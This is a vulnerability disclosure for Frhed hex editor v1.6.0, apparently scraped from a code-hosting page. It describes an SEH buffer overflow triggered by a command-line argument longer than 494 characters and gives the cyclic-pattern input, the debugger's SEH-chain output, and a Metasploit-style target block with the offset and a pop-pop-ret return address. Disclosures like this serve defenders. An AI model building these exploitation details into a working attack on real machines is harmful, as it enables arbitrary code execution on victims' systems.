b137003172
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1.6 KiB
Text
47 lines
No EOL
1.6 KiB
Text
# Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow
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# Discovery by: Rafael Pedrero
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# Discovery Date: 2022-01-09
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# Vendor Homepage: http://frhed.sourceforge.net/
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# Software Link : http://frhed.sourceforge.net/
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# Tested Version: 1.6.0
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# Tested on: Windows 10
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CVSS v3: 7.3
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CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
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CWE: CWE-119
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Buffer overflow controlling the Structured Exception Handler (SEH) records
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in Frhed (Free hex editor) v1.6.0, and possibly other versions, may allow
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attackers to execute arbitrary code via a long file name argument.
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Proof of concept:
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Open Frhed.exe from command line with a large string in Arguments, more
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than 494 chars:
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File '<Frhed_PATH>\Frhed.exe'
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Arguments
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'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'
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SEH chain of main thread
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Address SE handler
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0018FC8C 41367141
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35714134 *** CORRUPT ENTRY ***
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0BADF00D [+] Examining SEH chain
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0BADF00D SEH record (nseh field) at 0x0018fc8c overwritten with
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normal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclic
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data after the handler
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0BADF00D ------------------------------
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'Targets' =>
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[
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[ '<fill in the OS/app version here>',
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{
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'Ret' => 0x00401ba7, #
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pop ecx # pop ecx # ret - Frhed.exe (change this value by other without
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\x00)
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'Offset' => 494
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}
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],
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], |